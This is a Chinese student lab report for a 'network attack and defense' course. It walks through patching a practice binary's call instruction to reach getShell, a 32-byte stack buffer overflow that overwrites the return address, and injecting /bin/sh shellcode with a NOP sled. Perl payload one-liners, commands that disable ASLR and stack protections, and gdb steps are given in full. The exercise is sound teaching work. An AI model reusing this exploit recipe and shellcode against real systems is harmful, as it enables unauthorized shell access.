zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165216《网络对抗技术》Exp1 PC平台逆向破解(5)M

    2018-2019-2 20165216《网络对抗技术》Exp1 PC平台逆向破解(5)M

    实验要求

    1:掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码

    2: 掌握反汇编与十六进制编程器

    3:能正确修改机器指令改变程序执行流程

    4:能正确构造payload进行bof攻击

    实验内容

    • 手动修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,出发getShell
    • 注入一个自己制作的shellcode并运行这段shellcode.

    预备知识

    • 熟悉Linux基本操作

    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。

    • 理解Bof的原理

    • 能看懂汇编、机器指令、EIP、指令地址

    • 会使用gdb,vi

    实验步骤

    1:逆向及Bof基础实践


    本次实践对象为一pwn1的linux可执行文件,程序正常流程不执行getshell函数,但会执行一个foo函数,由于代码中包含了一个getshell,所以我们这里可以使用三种方式实现我们的目标

    • 运行原本不可访问的代码片段

    • 强行修改程序执行流

    • 以及注入运行任意代码


    2直接修改程序机器指令,改变程序执行流程

    2.1知识要求

    • 掌握Call指令的机器码,了解EIP寄存器的功能,了解指令跳转的偏移计算

    • 学习反汇编

    2.2实现过程

    1:下载目标文件pwn1,将其放入共享文件夹中

    2:进入kali终端,使用 cp 指令复制pwn1 分别命名为pwn2、pwn3

    3:使用指令 objdump -d pwn1 对pwn1进行反汇编指令,查看对应的代码

    4:了解地址信息

    5:vim pwn1编辑内容

    6:使用 :%!xxd将显示模式切换为16进制模式

    7:修改地址跳转

    8:使用 :%!xxd -r 转为16进制原格式

    9:wq保存退出

    10:再使用 objdump -d pwn1 反汇编检查call指令跳转

    11:./pwn1 运行代码。

    2.3小结

    • Linux系统中 call 8048491 汇编代码在此处对应的机器指令为 e8 d7ffffff

    • e8 为跳转的意思,在刚执行这条语句时,EIP存储的值为下调指令的地址,即 80484ba,d7ffffff是小端显示的 -41的补码,0x80484ba-41=8048491

    • 要实现执行getshell,我们需要使计算结果为804847d

    • 0x80484ba-0x804847d=0x000003d,所以我们要知道十进制-61的补码为ffffffc3

    • 修改对应位置的机器码即可

    3通过构造输入参数,造成BOF攻击,改变程序执行流

    3.1知识要求

    • 堆栈结构的理解,明白返回地址是如何被覆盖

    • 掌握如何获取返回地址的。

    3.2实现过程

    1:使用objdump -d pwn2查看地址信息

    2:找到foo函数内地址为0x804849a读取字符串的位置

    3:分析字符串所留空间

    4: lea -0x1c(%ebp),%eax,我们知道栈顶为esp,栈顶为ebp,且栈顶为高地址,-代表为栈的空间扩大,留给了其0x1c+4(ebp的大小)=32字节

    5:确定超过32字节数值覆盖返回地址的情况

    6:gdb pwn2进行调试

    7:r直接运行,并输入随意32字节+123456789

    8:info r 查看寄存器所存数值

    9:观察eip(下条指令地址)

    10:在32字节后使用16进行/x..填写跳转地址

    11:使用Perl语言构造重定向文件,在这里我们命名为input

    12:使用管道符“|”将input作为pwn1的输入

    13:执行,查看结果

    3.3小结

    • Perl是一门解释性语言,不需要预编译,可以在命令行上直接使用重定向“>“将perl生成的字符串存储到文件input中

    • 在32字节后使用12345678是使数字不同而可以明显的观察到到底是哪几位覆盖到了eip当中。

    • 1、2、3、4...的ASCII值为别为0x34 0x35 0x36.....

    4注入Shellcode并执行

    4.1知识要求

    • shellcode就是一段机器指令(code),在实际应用中,凡是用来注入的机器指令段都被通称shellcode

    • 掌握二种基本buf攻击中的一种

      1:retaddr+nop+shellcode

      2:nop+shellcode+retaddr

    • 获取shellcode命令:

    perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    4.2准备工作

    1:关闭堆栈保护

    2:关闭堆栈执行保

    3:关闭地址随机化

    4:x32环境

    5:Linux时间环境

    具体指令

    1:ap-get install execstack /安装execstack命令/

    2:execstack -s pwn3 / 设置堆栈可执行/

    3:execstack -q pwn3 /查询文件的堆栈是否可执行/

    4:echo "0" > /proc/sys/kernel/randomize_va_space /关闭地址随机化/

    5:more /proc/sys/kernel/randomize_va_space /查询是否关闭地址随机化/

    4.3实现过程

    1:构造重定位文件,输入指令 perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    2:注入此段攻击:(cat input_shellcode;cat) | ./pwn3

    3:打开另一个终端,使用ps -ef | grep pwn3查看相应进程号

    4:gdb进行调试

    5:使用命令 atach + 进程号调试

    6:使用 disassemble foo命令反汇编,设置断点查看注入buf的内存地址。

    7: break *0x080484ae设置断点,并输入 c 命令继续执行

    8:在输入c回车一下后在另外一个终端按次回车,再返回使用 info r esp查看地址。

    9:使用命令 x/16x 查看内存内容,当我们找到了 0x01020304,就知道我们的shellcode就在后面,所以我们的Shellcode就是这个地址+4

    10:修改重定位文件

    11:执行

    4.4小结

    1 :这里采用的是nop+shellcode+retaddr的结构

    2:nop即使为了填充,也可以作为“滑行区”,当返回地址落到任何一个nop上,都会滑行道shellcode的代码

    遇到的问题

    1: File format not recognized

    在修改 d7为c3之后选择了,先:wq,再%!xxd -r,随后改为 先%!xxd -r 再:wq就解决了

    2:Cannot connect to non-local host kali

    在做实验前没有在设置处修改名称为学号,在终端输入 hostname 20165216,临时名字与主机不符出现的提示,在设置处设置之后,再做一遍就解决了。

    什么是漏洞?漏洞有什么危害?

    漏洞是其设计成品不符合设计者的预想而需要解决的问题,漏洞使其不能完成设计的功能,更甚完成一些恶意功能,造成信息泄露、篡改等非法操作

    实验收获与体会

    本次实验让我学会了call指令是具体怎样实现其功能的,还对堆栈有了更深的理解。缓冲区溢出防范的最基本设计,注入代码的二种方式。如何查看地址内容,perl语言的重定位文件的生成,不断实践才能更深刻的理解。

  • 相关阅读:
    Linux下使用curl查看http请求各阶段耗时
    yum list查看版本
    【k8s】XX 修改ipvs模式
    域名访问时间 测试脚本
    关闭WINDOWS自动检测互联网络
    win10专业版安装VMware workstation pro 16时提示“setup failed to generate the ssl keys necessary to run vmware”笔记
    手动启动MegaRAID Storage Manager v17.05.02.01 for Linux
    Java基于POI实现excel任意多级联动下拉列表——支持从数据库查询出多级数据后直接生成【附源码】
    C# 后台POST数据及API接收简记
    Linux 安装pycharm,清除缓存,scp传输文件
  • 原文地址:https://www.cnblogs.com/qq2497879550/p/10546117.html
Copyright © 2011-2022 走看看